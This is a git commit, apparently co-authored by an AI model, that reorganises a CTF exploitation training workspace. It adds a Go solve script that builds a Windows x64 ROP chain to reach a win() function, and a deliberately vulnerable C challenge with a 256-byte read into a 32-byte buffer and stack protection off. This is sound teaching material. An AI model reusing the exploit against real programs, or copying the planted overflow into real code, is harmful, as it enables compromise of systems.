restructure workspace into numbered pwn progression

Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-08-06 22:21:32 +03:00
co-authored by Claude Sonnet 4.6
parent 3b7d01c748
commit c9aafc512b
76 changed files with 313 additions and 1832 deletions
+50
View File
@@ -0,0 +1,50 @@
package main
import (
"bytes"
"fmt"
"log"
"winpwn"
)
func main() {
target := "task2.exe"
peFile, err := winpwn.OpenPE(target)
if err != nil {
log.Fatalf("Failed to open PE: %v", err)
}
defer peFile.Close()
winRVA, err := peFile.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
imageBase, err := peFile.ImageBase()
if err != nil {
log.Fatalf("Failed to read ImageBase: %v", err)
}
winAddr := imageBase + winRVA
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
popRcx := uint64(0x140002740)
ret := uint64(0x140001000)
offset := 56
payload := bytes.Repeat([]byte("A"), offset)
payload = append(payload, winpwn.P64(popRcx)...)
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
payload = append(payload, winpwn.P64(ret)...)
payload = append(payload, winpwn.P64(winAddr)...)
tube, err := winpwn.Spawn("./" + target)
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
}
+61
View File
@@ -0,0 +1,61 @@
/* TL;DR: Главное отличие 64-битного ROP на Windows от Linux — это Calling
Convention (соглашение о вызовах). В Linux первый аргумент передается через
регистр RDI, а в Windows — через RCX. Поэтому вместо гаджета pop rdi мы будем
искать pop rcx. Кроме того, вызовы WinAPI жестко требуют выравнивания стека по
границе 16 байт, иначе программа упадет внутри system("cmd.exe").
Ниже представлены адаптированные исходники для твоего CTF-клуба. Чтобы твой
парсер PEFile в go_pwner смог найти функцию win по имени (без символов отладки),
я добавил ей атрибут экспорта __declspec(dllexport) — это классический прием для
Windows-тасков, заменяющий парсинг ELF Symbols. Уязвимый файл (rop0_win.c)
Компилировать этот файл нужно с отключенным ASLR (аналог PIE в Linux), чтобы
базовый адрес был статичным. Для MinGW-w64 используй флаги: gcc rop0_win.c -o
rop0_win.exe -fno-pie -no-pie -fno-stack-protector. */
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void setup() {
// Отключение буферизации для корректной работы через пайпы
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// Экспортируем функцию в таблицу PE, чтобы её можно было найти через твой
// PE-парсер
__declspec(dllexport) void win(int secret) {
char buf[32];
// В Windows x64 значение secret будет взято из регистра RCX
if (secret == 0xdeadbeef) {
printf("you just got shell\n");
system("cmd.exe"); // Меняем /bin/sh на классический cmd
} else {
printf("wrong argument: 0x%x\n", secret);
ExitProcess(1);
}
}
void vulnerable() {
char buf[32];
DWORD bytesRead;
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
printf("NX is ON! You cannot execute shellcode on the stack.\n");
printf("Can you return to win() and set RCX to 0xdeadbeef?\n");
printf("Input: ");
// Используем WinAPI для сырого побайтового чтения
ReadFile(hStdin, buf, 256, &bytesRead, NULL);
printf("Returning...\n");
}
int main() {
setup();
vulnerable();
return 0;
}